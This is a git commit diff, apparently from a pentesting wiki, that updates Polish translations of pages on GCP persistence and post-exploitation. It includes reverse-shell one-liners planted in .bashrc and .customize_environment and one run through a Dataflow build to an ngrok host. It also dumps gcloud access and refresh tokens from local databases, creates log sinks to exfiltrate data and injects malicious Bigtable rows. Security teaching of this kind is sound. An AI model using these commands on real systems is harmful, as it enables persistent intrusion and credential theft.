Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-11-22 20:15:21 +00:00
parent d373158c45
commit a3430db94e
51 changed files with 2646 additions and 732 deletions
@@ -4,17 +4,21 @@
## Bigtable
Więcej informacji o Bigtable znajdziesz:
Aby uzyskać więcej informacji o Bigtable, zobacz:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### Dedykowany App Profile dla atakującego
### Dedicated attacker App Profile
**Uprawnienia:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
Utwórz App Profile, który kieruje ruch do twojego klastra replik (replica cluster) i włącz Data Boost, dzięki czemu nie będziesz polegać na przydzielonych węzłach (provisioned nodes), które obrońcy mogliby zauważyć.
Utwórz app profile, który kieruje ruch do twojego klastra repliki i włącz Data Boost, aby nie zależeć od przydzielonych węzłów, które obrońcy mogliby zauważyć.
<details>
<summary>Create stealth app profile</summary>
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
Dopóki ten profil istnieje, możesz ponownie nawiązać połączenie, używając nowych credentials, które się do niego odnoszą.
</details>
### Utrzymuj własny klaster repliki
Tak długo, jak ten profil istnieje, możesz się ponownie połączyć, używając nowych poświadczeń, które się do niego odnoszą.
**Permissions:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
### Utrzymaj własny klaster repliki
Utwórz klaster z minimalną liczbą węzłów w regionie o niskim ruchu. Nawet jeśli tożsamości klientów znikną, **klaster zachowuje pełną kopię każdej tabeli** dopóki obrońcy tego nie usuną.
**Uprawnienia:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
Utwórz klaster z minimalną liczbą węzłów w mało aktywnym regionie. Nawet jeśli Twoje tożsamości klienta zostaną usunięte, **klaster zachowa pełną kopię każdej tabeli** dopóki obrońcy jej nie usuną.
<details>
<summary>Utwórz klaster repliki</summary>
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Keep an eye on it through `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` so you can scale up instantly when you need to pull data.
</details>
Monitoruj to za pomocą `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` dzięki czemu możesz natychmiast zwiększyć skalę, gdy będziesz musiał pobrać dane.
### Zablokuj replikację za pomocą własnego CMEK
**Uprawnienia:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
**Uprawnienia:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` na kluczu należącym do atakującego.
Użyj własnego klucza KMS podczas uruchamiania klona. Bez tego klucza Google nie może odtworzyć ani przeprowadzić fail over klastra, więc blue teams muszą się z tobą skoordynować zanim go dotkną.
Użyj własnego klucza KMS przy tworzeniu clone'a. Bez tego klucza Google nie będzie w stanie odtworzyć ani przełączyć klastra, więc blue teams muszą się z tobą skoordynować przed podjęciem działań.
<details>
<summary>Utwórz klaster chroniony CMEK</summary>
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
Obróć lub wyłącz key w swoim projekcie, aby natychmiast brick the replica (jednocześnie pozwalając na ponowne włączenie później).
</details>
Obróć lub wyłącz klucz w swoim projekcie, aby natychmiast zbrickować replikę (z możliwością ponownego jej włączenia później).
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,60 +1,78 @@
# GCP - Utrzymywanie w Cloud Shell
# GCP - Cloud Shell Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell
Aby uzyskać więcej informacji, sprawdź:
Więcej informacji:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Trwały Backdoor
### Persistent Backdoor
[**Google Cloud Shell**](https://cloud.google.com/shell/) zapewnia dostęp do zasobów chmurowych za pomocą wiersza poleceń bezpośrednio z przeglądarki bez żadnych związanych kosztów.
[**Google Cloud Shell**](https://cloud.google.com/shell/) zapewnia dostęp do wiersza poleceń do zasobów w chmurze bezpośrednio z przeglądarki, bez dodatkowych kosztów.
Możesz uzyskać dostęp do Cloud Shell Google'a z **konsoli internetowej** lub uruchamiając **`gcloud cloud-shell ssh`**.
Dostęp do Google Cloud Shell można uzyskać z poziomu **konsoli webowej** lub uruchamiając **`gcloud cloud-shell ssh`**.
Ta konsola ma kilka interesujących możliwości dla atakujących:
Ta konsola daje atakującym kilka ciekawych możliwości:
1. **Każdy użytkownik Google z dostępem do Google Cloud** ma dostęp do w pełni uwierzytelnionego instancji Cloud Shell (Konta Usług mogą, nawet będąc Właścicielami organizacji).
2. Ta instancja **zachowa swój katalog domowy przez co najmniej 120 dni**, jeśli nie zajdzie żadna aktywność.
3. Nie ma **możliwości monitorowania** aktywności tej instancji przez organizację.
1. **Każdy użytkownik Google z dostępem do Google Cloud** ma dostęp do w pełni uwierzytelnionej instancji Cloud Shell (Service Accounts również mogą nawet będąc Owners of the org).
2. Taka instancja będzie **przechowywać swój katalog domowy przez co najmniej 120 dni**, jeśli nie dzie żadnej aktywności.
3. Nie ma **możliwości dla organizacji, aby monitorować** aktywność tej instancji.
Oznacza to zasadniczo, że atakujący może umieścić backdoor w katalogu domowym użytkownika, a tak długo jak użytkownik łączy się z GC Shell co 120 dni przynajmniej, backdoor przetrwa, a atakujący uzyska powłokę za każdym razem, gdy zostanie uruchomiony, po prostu robiąc:
Oznacza to w praktyce, że atakujący może umieścić backdoor w katalogu domowym użytkownika i dopóki użytkownik łączy się z GC Shell przynajmniej co 120 dni, backdoor przetrwa, a atakujący uzyska shell za każdym razem, gdy zostanie uruchomiony, po prostu wykonując:
<details>
<summary>Add reverse shell to .bashrc</summary>
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
W folderze domowym znajduje się inny plik o nazwie **`.customize_environment`**, który, jeśli istnieje, będzie **wykonywany za każdym razem**, gdy użytkownik uzyska dostęp do **cloud shell** (jak w poprzedniej technice). Wystarczy wstawić poprzedni backdoor lub jeden podobny, aby utrzymać persistencję tak długo, jak użytkownik "często" korzysta z cloud shell:
</details>
W katalogu domowym znajduje się jeszcze jeden plik o nazwie **`.customize_environment`**, który, jeśli istnieje, będzie **wykonywany za każdym razem**, gdy użytkownik uzyska dostęp do **cloud shell** (tak jak w poprzedniej technice). Wystarczy wstawić poprzedni backdoor lub taki jak poniżej, aby utrzymać persistence tak długo, jak użytkownik będzie "często" korzystał z **cloud shell**:
<details>
<summary>Utwórz .customize_environment backdoor</summary>
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> Ważne jest, aby zauważyć, że **za pierwszym razem, gdy wykonywana jest akcja wymagająca uwierzytelnienia**, w przeglądarce użytkownika pojawia się okno autoryzacji. To okno musi zostać zaakceptowane, zanim polecenie będzie mogło zostać wykonane. Jeśli pojawi się niespodziewane okno, może to budzić podejrzenia i potencjalnie zagrozić metodzie utrzymania, która jest używana.
</details>
To jest okno pop-up z wykonania `gcloud projects list` z cloud shell (jako atakujący) widziane w sesji użytkownika przeglądarki:
> [!WARNING]
> Należy pamiętać, że **przy pierwszym wykonaniu akcji wymagającej uwierzytelnienia**, w przeglądarce użytkownika pojawi się okienko autoryzacji. To okienko musi zostać zaakceptowane, zanim polecenie będzie mogło zostać wykonane. Jeśli pojawi się nieoczekiwane okienko, może to wzbudzić podejrzenia i potencjalnie narazić stosowaną metodę persistence.
To jest okienko, które pojawia się po uruchomieniu `gcloud projects list` z Cloud Shell (jako atakujący), widziane w sesji przeglądarki użytkownika:
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
Jednakże, jeśli użytkownik aktywnie korzystał z cloudshell, okno pop-up się nie pojawi i możesz **zbierać tokeny użytkownika za pomocą**:
Jednak jeśli użytkownik aktywnie korzystał z cloudshell, okienko nie pojawi się i możesz **pozyskać tokeny użytkownika za pomocą**:
<details>
<summary>Pobierz tokeny dostępu z Cloud Shell</summary>
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
</details>
#### Jak nawiązywane jest połączenie SSH
W zasadzie używane są te 3 wywołania API:
Zasadniczo używane są trzy wywołania API:
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (spowoduje dodanie klucza publicznego, który utworzyłeś lokalnie)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (spowoduje uruchomienie instancji)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (poinformuje cię o adresie IP google cloud shell)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (spowoduje dodanie Twojego public key, utworzonego lokalnie)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (spowoduje uruchomienie instance)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (zwróci adres IP Google Cloud Shell)
Ale możesz znaleźć więcej informacji w [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
Więcej informacji znajdziesz w [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
## Odniesienia
## Źródła
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
@@ -1,12 +1,16 @@
# GCP - Utrzymywanie danych w Dataflow
# GCP - Dataflow Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Dataflow
### Niewidoczne utrzymywanie w zbudowanym kontenerze
### Niewidoczna persystencja w zbudowanym kontenerze
Postępując zgodnie z [**samouczkiem z dokumentacji**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), możesz stworzyć nowy (np. python) szablon flex:
Postępując zgodnie z [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) możesz utworzyć nowy (np. python) flex template:
<details>
<summary>Create Dataflow flex template with backdoor</summary>
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**Podczas budowy otrzymasz reverse shell** (możesz wykorzystać zmienne środowiskowe, jak w poprzednim przykładzie, lub inne parametry, które ustawiają plik Docker do wykonywania dowolnych rzeczy). W tym momencie, wewnątrz reverse shell, możliwe jest **przejście do katalogu `/template` i modyfikacja kodu głównego skryptu python, który będzie wykonywany (w naszym przykładzie jest to `getting_started.py`)**. Ustaw tutaj swoje backdoor, aby za każdym razem, gdy zadanie jest wykonywane, było ono uruchamiane.
</details>
Następnie, przy następnym uruchomieniu zadania, uruchomiony zostanie skompromitowany kontener:
**W trakcie budowania otrzymasz reverse shell** (możesz wykorzystać env variables jak w poprzednim przykładzie lub inne parametry, które powodują, że Docker file wykona dowolne polecenia). W tym momencie, wewnątrz reverse shell, można **przejść do katalogu `/template` i zmodyfikować kod głównego skryptu Pythona, który zostanie wykonany (w naszym przykładzie jest to `getting_started.py`)**. Umieść tu swój backdoor, aby za każdym razem gdy job zostanie wykonany, był on uruchamiany.
Następnie, przy następnym uruchomieniu joba, zostanie uruchomiony zbudowany skompromitowany kontener:
<details>
<summary>Uruchom szablon Dataflow</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - Utrzymywanie logów
# GCP - Persistencja logów
{{#include ../../../banners/hacktricks-training.md}}
## Logowanie
## Logi
Znajdź więcej informacji o logowaniu w:
Znajdź więcej informacji o logach w:
{{#ref}}
../gcp-services/gcp-logging-enum.md
@@ -12,8 +12,14 @@ Znajdź więcej informacji o logowaniu w:
### `logging.sinks.create`
Utwórz zlew, aby wyeksportować logi do miejsca dostępnego dla atakującego:
Utwórz sink, aby wyeksfiltrować logi do miejsca dostępnego dla atakującego:
<details>
<summary>Utwórz sink logów</summary>
```bash
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,50 +2,78 @@
{{#include ../../../banners/hacktricks-training.md}}
### Tokeny Użytkownika z Autoryzacją
### Authenticated User Tokens
Aby uzyskać **aktualny token** użytkownika, możesz uruchomić:
Aby uzyskać **current token** użytkownika możesz uruchomić:
<details>
<summary>Pobierz access token z bazy SQLite</summary>
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
</details>
Sprawdź na tej stronie, jak **bezpośrednio użyć tego tokena za pomocą gcloud**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Aby uzyskać szczegóły dotyczące **generowania nowego tokena dostępu**, uruchom:
Aby uzyskać szczegóły potrzebne do **wygenerowania nowego access tokena** uruchom:
<details>
<summary>Pobierz refresh token z bazy danych SQLite</summary>
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Możliwe jest również znalezienie tokenów odświeżania w **`$HOME/.config/gcloud/application_default_credentials.json`** oraz w **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
</details>
Aby uzyskać nowy odświeżony token dostępu za pomocą **tokena odświeżania**, identyfikatora klienta i tajnego klucza klienta, uruchom:
Można także znaleźć refresh tokens w **`$HOME/.config/gcloud/application_default_credentials.json`** oraz w **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Aby uzyskać nowy, odświeżony access token przy użyciu **refresh token**, client ID i client secret, uruchom:
<details>
<summary>Uzyskaj nowy access token przy użyciu refresh token</summary>
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
Ważność tokenów odświeżania można zarządzać w **Admin** > **Security** > **Google Cloud session control**, a domyślnie jest ustawiona na 16h, chociaż można ustawić, aby nigdy nie wygasały:
</details>
Ważność refresh tokenów można zarządzać w **Admin** > **Security** > **Google Cloud session control**, a domyślnie jest ustawiona na 16h, chociaż można ustawić, by nigdy nie wygasały:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
### Przepływ uwierzytelniania
Przepływ uwierzytelniania podczas korzystania z czegoś takiego jak `gcloud auth login` otworzy okno w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak to do otwartego portu http przez narzędzie:
Proces uwierzytelniania przy użyciu np. `gcloud auth login` otworzy monit w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak poniższe do portu http otwartego przez narzędzie:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Następnie gcloud użyje stanu i kodu z pewnym zakodowanym `client_id` (`32555940559.apps.googleusercontent.com`) oraz **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`), aby uzysk**ostateczne dane tokena odświeżania**.
Następnie gcloud użyje parametrów state i code wraz z twardo zakodowanym `client_id` (`32555940559.apps.googleusercontent.com`) i **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) aby pobr**ostateczne dane refresh tokena**.
> [!CAUTION]
> Zauważ, że komunikacja z localhostem odbywa się w HTTP, więc możliwe jest przechwycenie danych w celu uzyskania tokena odświeżania, jednak te dane są ważne tylko 1 raz, więc byłoby to bezużyteczne, łatwiej jest po prostu odczytać token odświeżania z pliku.
> Zwróć uwa, że komunikacja z localhost odbywa się przez HTTP, więc możliwe jest przechwycenie danych w celu zdobycia refresh tokena; jednak dane te są ważne tylko jednorazowo, więc byłoby to bezużyteczne łatwiej po prostu odczytać refresh token z pliku.
### Zakresy OAuth
### OAuth Scopes
Możesz znaleźć wszystkie zakresy Google pod adresem [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) lub uzyskać je, wykonując:
Wszystkie scope'y Google znajdziesz na [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) lub możesz je uzyskać, wykonując:
<details>
<summary>Pobierz wszystkie zakresy OAuth dla Google</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Można zobaczyć, które zakresy aplikacja, którą **`gcloud`** używa do uwierzytelniania, może obsługiwać za pomocą tego skryptu:
</details>
Dzięki temu skryptowi można sprawdzić, jakie zakresy może obsługiwać aplikacja, której **`gcloud`** używa do uwierzytelniania:
<details>
<summary>Przetestuj obsługiwane zakresy dla gcloud</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -55,7 +83,9 @@ echo $scope
fi
done
```
Po wykonaniu tego sprawdzono, że ta aplikacja obsługuje te zakresy:
</details>
Po jego uruchomieniu sprawdzono, że ta aplikacja obsługuje następujące zakresy:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
@@ -65,24 +95,24 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
interesujące jest to, jak ta aplikacja obsługuje zakres **`drive`**, co może pozwolić użytkownikowi na eskalację z GCP do Workspace, jeśli atakujący zdoła zmusić użytkownika do wygenerowania tokena z tym zakresem.
Interesujące jest zobaczyć, że ta aplikacja obsługuje zakres **`drive`**, co mogłoby pozwolić użytkownikowi na eskalację z GCP do Workspace, jeśli atakujący zmusi użytkownika do wygenerowania tokena z tym zakresem.
**Sprawdź, jak to** [**wykorzystać tutaj**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
**Zobacz jak** [**wykorzystać to tutaj**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Konta serwisowe
### Konta usługowe
Podobnie jak w przypadku uwierzytelnionych użytkowników, jeśli uda ci się **skompromentować plik klucza prywatnego** konta serwisowego, będziesz mógł **uzyskać do niego dostęp zazwyczaj tak długo, jak chcesz**.\
Jednak jeśli ukradniesz **token OAuth** konta serwisowego, może to być jeszcze bardziej interesujące, ponieważ, nawet jeśli domyślnie te tokeny są użyteczne tylko przez godzinę, jeśli **ofiara usunie prywatny klucz API, token OAuh będzie nadal ważny aż do wygaśnięcia**.
Podobnie jak w przypadku uwierzytelnionych użytkowników, jeśli uda Ci się **skompromisować plik klucza prywatnego** konta usługowego, będziesz mógł **uzyskać do niego dostęp zwykle tak długo, jak zechcesz**.\
Jednak jeśli ukradniesz **OAuth token** konta usługowego, może to być jeszcze ciekawsze, ponieważ nawet jeśli domyślnie te tokeny są użyteczne tylko przez godzinę, jeśli **ofiara usunie prywatny api key, OAuth token nadal będzie ważny aż do wygaśnięcia**.
### Metadane
Oczywiście, dopóki jesteś w maszynie działającej w środowisku GCP, będziesz mógł **uzyskać dostęp do konta serwisowego przypisanego do tej maszyny, kontaktując się z punktem końcowym metadanych** (zauważ, że tokeny Oauth, do których możesz uzyskać dostęp w tym punkcie końcowym, są zazwyczaj ograniczone przez zakresy).
Oczywiście dopóki jesteś wewnątrz maszyny działającej w środowisku GCP będziesz mógł **uzyskać dostęp do konta usługowego przypisanego do tej maszyny, kontaktując się z metadata endpoint** (uwaga: **OAuth tokeny**, które możesz uzyskać przez ten endpoint, są zazwyczaj ograniczone przez scopes).
### Remediacje
Niektóre remediacje dla tych technik są wyjaśnione w [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
Niektóre środki zaradcze dla tych technik są opisane w [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Odniesienia
### Źródła
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
@@ -1,10 +1,10 @@
# GCP - Utrzymywanie w pamięci
# GCP - Storage Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Pamięć
## Storage
Aby uzyskać więcej informacji na temat Cloud Storage, sprawdź:
Więcej informacji o Cloud Storage znajdziesz:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,7 +12,11 @@ Aby uzyskać więcej informacji na temat Cloud Storage, sprawdź:
### `storage.hmacKeys.create`
Możesz utworzyć HMAC, aby utrzymać trwałość nad bucketem. Aby uzyskać więcej informacji na temat tej techniki [**sprawdź to tutaj**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
Możesz utworzyć HMAC, aby utrzymać persistence dla bucketu. Więcej informacji o tej technice [**znajdziesz tutaj**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
<details>
<summary>Utwórz i użyj klucza HMAC do dostępu do Storage</summary>
```bash
# Create key
gsutil hmac create <sa-email>
@@ -23,11 +27,13 @@ gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
```
Inny skrypt exploitacyjny dla tej metody można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
</details>
### Udziel dostęp publiczny
Inny exploit script dla tej metody można znaleźć [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
**Uczynienie kosza publicznie dostępnym** to kolejny sposób na utrzymanie dostępu do kosza. Sprawdź, jak to zrobić w:
### Udziel dostępu publicznego
**Uczynienie bucketu publicznie dostępnym** to inny sposób na utrzymanie dostępu do bucketu. Sprawdź jak to zrobić w:
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -4,7 +4,7 @@
## `App Engine`
Aby uzyskać informacje o App Engine, sprawdź:
Aby uzyskać informacje o App Engine sprawdź:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,30 +12,36 @@ Aby uzyskać informacje o App Engine, sprawdź:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
Dzięki tym uprawnieniom możliwe jest:
Z tymi uprawnieniami można:
- Dodanie klucza
- Wypisanie kluczy
- Pobranie klucza
- Usunięcie
- Dodać klucz
- Wyświetlić listę kluczy
- Pobrać klucz
- Usunąć klucz
> [!CAUTION]
> Jednak **nie mogłem znaleźć żadnego sposobu na uzyskanie dostępu do tych informacji z cli**, tylko z **konsoli internetowej**, gdzie musisz znać **typ klucza** i **nazwę klucza**, lub z **działającej aplikacji app engine**.
> Jednak **nie udało mi się znaleźć żadnego sposobu, by uzyskać te informacje z poziomu cli**, jedynie z **web console**, gdzie trzeba znać **Key type** i **Key name**, albo z a**pp engine running app**.
>
> Jeśli znasz łatwiejsze sposoby na wykorzystanie tych uprawnień, wyślij Pull Request!
> Jeśli znasz łatwiejsze sposoby użycia tych uprawnień, wyślij Pull Request!
### `logging.views.access`
Dzięki temu uprawnieniu możliwe jest **zobaczenie logów aplikacji**:
Z tym uprawnieniem można **zobacz logi aplikacji**:
<details>
<summary>Śledź logi aplikacji</summary>
```bash
gcloud app logs tail -s <name>
```
### Przeczytaj kod źródłowy
</details>
Kod źródłowy wszystkich wersji i usług jest **przechowywany w koszu** o nazwie **`staging.<proj-id>.appspot.com`**. Jeśli masz dostęp do zapisu, możesz przeczytać kod źródłowy i szukać **vulnerabilities** oraz **sensitive information**.
### Odczyt kodu źródłowego
### Zmodyfikuj kod źródłowy
Kod źródłowy wszystkich wersji i usług jest **przechowywany w bucket** o nazwie **`staging.<proj-id>.appspot.com`**. Jeśli masz nad nim uprawnienia zapisu, możesz odczytać kod źródłowy i wyszukać **vulnerabilities** oraz **sensitive information**.
Zmodyfikuj kod źródłowy, aby ukraść dane uwierzytelniające, jeśli są wysyłane, lub przeprowadzić atak defacement na stronie internetowej.
### Modyfikacja kodu źródłowego
Zmodyfikuj kod źródłowy, aby wykraść credentials, jeśli są wysyłane, lub przeprowadzić defacement web attack.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,37 +4,53 @@
## Bigtable
Aby uzyskać więcej informacji o Bigtable, zobacz:
Aby uzyskać więcej informacji o Bigtable sprawdź:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> Zainstaluj CLI `cbt` za pomocą Cloud SDK, aby poniższe polecenia działały lokalnie:
> Zainstaluj `cbt` CLI raz za pomocą Cloud SDK, aby poniższe polecenia działały lokalnie:
>
> <details>
>
> <summary>Zainstaluj cbt CLI</summary>
>
> ```bash
> gcloud components install cbt
> ```
>
> </details>
### Odczyt wierszy
**Uprawnienia:** `bigtable.tables.readRows`
`cbt` wchodzi w skład Cloud SDK i komunikuje się z admin/data APIs bez potrzeby pośredników. Wskaż go na skompromitowany projekt/instancję i zrzucaj wiersze bezpośrednio z tabeli. Ogranicz skan, jeśli potrzebujesz tylko podglądu.
cbt jest dołączony do Cloud SDK i komunikuje się z admin/data APIs bez potrzeby dodatkowego pośrednika. Skieruj go na skompromitowany projekt/instancję i zrzucaj wiersze bezpośrednio z tabeli. Ogranicz skan, jeśli potrzebujesz tylko rzucić okiem.
<details>
<summary>Odczytaj wpisy Bigtable</summary>
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### Zapis wierszy
</details>
### Zapisywanie wierszy
**Uprawnienia:** `bigtable.tables.mutateRows`, (będziesz potrzebować `bigtable.tables.readRows`, aby potwierdzić zmianę).
Użyj tego samego narzędzia, aby upsertować dowolne komórki. To najszybszy sposób na wprowadzenie backdoorów do konfiguracji, umieszczenie web shells lub zasianie zatrutych wierszy w zbiorze danych.
Użyj tego samego narzędzia, aby upsert arbitrary cells. To najszybszy sposób na backdoor configs, drop web shells lub plant poisoned dataset rows.
<details>
<summary>Inject malicious row</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` accepts raw bytes via the `@/path` syntax, so you can push compiled payloads or serialized protobufs exactly as downstream services expect them.
</details>
### Zrzucenie wierszy do twojego bucketu
`cbt set` akceptuje surowe bajty przez składnię `@/path`, więc możesz przesłać skompilowane payloady lub serializowane protobufs dokładnie tak, jak oczekują downstream services.
### Eksfiltruj wiersze do swojego bucketu
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
